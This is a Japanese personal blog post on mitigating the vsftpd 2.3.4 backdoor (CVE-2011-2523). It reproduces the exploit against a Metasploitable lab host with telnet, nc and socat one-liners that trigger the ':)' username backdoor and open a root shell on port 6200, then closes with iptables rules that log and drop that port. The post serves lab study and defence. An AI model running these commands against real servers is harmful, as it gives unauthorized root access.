labunix's blog

labunixのラボUnix

CVE-2011-2523の対策を考える。

■CVE-2011-2523の対策を考える。
 開放していないポートもFWでログ取得して閉じておくと、
 バックドアポートと通信出来なくなって、ログも残る。
 使っていないポートにも対策が必要だと考えさせられる脆弱性。

 msfconsoleを使ってvsftpdのCVE-2011-2523でバックドアを作成してみる。
 http://labunix.hateblo.jp/entry/20180505/1525527452

■msfconsoleで使用するモジュールは以下にある。

$ ls /usr/share/metasploit-framework/modules/
auxiliary  encoders  exploits  nops  payloads  post

■exploitで使用したrubyスクリプトは以下に配置されている。

$ find /usr/share/metasploit-framework/modules/ -type f -name "*vsftpd*"
/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

■nmapのnseスクリプトは以下にある。

$ dpkg -L nmap | grep ftp-vsftpd-backdoor
/usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse

■telnet,nc,pythonコマンドによる再現

 VSFTPD v2.3.4 Backdoor Command Execution
 https://metalkey.github.io/vsftpd-v234-backdoor-command-execution.html

 ユーザ名の後ろに「:)」をつけてftpログイン、
 別セッションでncコマンドでtcp/6200に接続して、pythonコマンドを実行

$ telnet 192.168.0.2 21
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass

$ nc -vn 192.168.0.2 6200
(UNKNOWN) [192.168.0.2] 6200 (?) open

python -c "import pty;pty.spawn('/bin/bash')"
# id
uid=0(root) gid=0(root) groups=0(root)

■ncコマンドのみのシェル版

$ nc -vn 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass

$ nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
/bin/sh -i
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(root)

$ nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
/bin/bash -i
bash: no job control in this shell
root@metasploitable:/# id
uid=0(root) gid=0(root)

■手入力を減らしてnseと同様の内容にした版

$ (sleep 1;echo "USER X:)";sleep 2;echo "PASS X") | nc -vn 192.168.0.2 21
Connection to 192.168.0.2 21 port [tcp/*] succeeded!
220 (vsFTPd 2.3.4)
331 Please specify the password.

$ echo '/bin/bash -i' | nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
bash: no job control in this shell
root@metasploitable:/# 

■最近はncコマンドが無かったりするので、socat版

$ (sleep 1;echo "USER X:)";sleep 2;echo "PASS X") | socat - TCP4:192.168.0.2:21
220 (vsFTPd 2.3.4)
331 Please specify the password.

$ socat - TCP4:192.168.0.2:6200
/bin/bash -i
bash: no job control in this shell
root@metasploitable:/# 

■いずれの方式もログは「[pid 5413] CONNECT: Client "192.168.0.X"」の形式のみなので、
 iptablesでログを残して破棄する。

$ sudo iptables -A INPUT -p tcp --dport 6200 -j LOG
$ sudo iptables -A INPUT -p tcp --dport 6200 -j DROP
$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
LOG        tcp  --  anywhere             anywhere            tcp dpt:6200 LOG level warning 
DROP       tcp  --  anywhere             anywhere            tcp dpt:6200 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

==> /var/log/kern.log <==
May  5 12:20:34 metasploitable kernel: [16037.981853] IN=eth0 OUT= MAC=52:54:00:XX:XX:32:fe:54:00:XX:XX:XX:08:00 SRC=192.168.0.5 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=31573 DF PROTO=TCP SPT=56330 DPT=6200 WINDOW=29200 RES=0x00 SYN URGP=0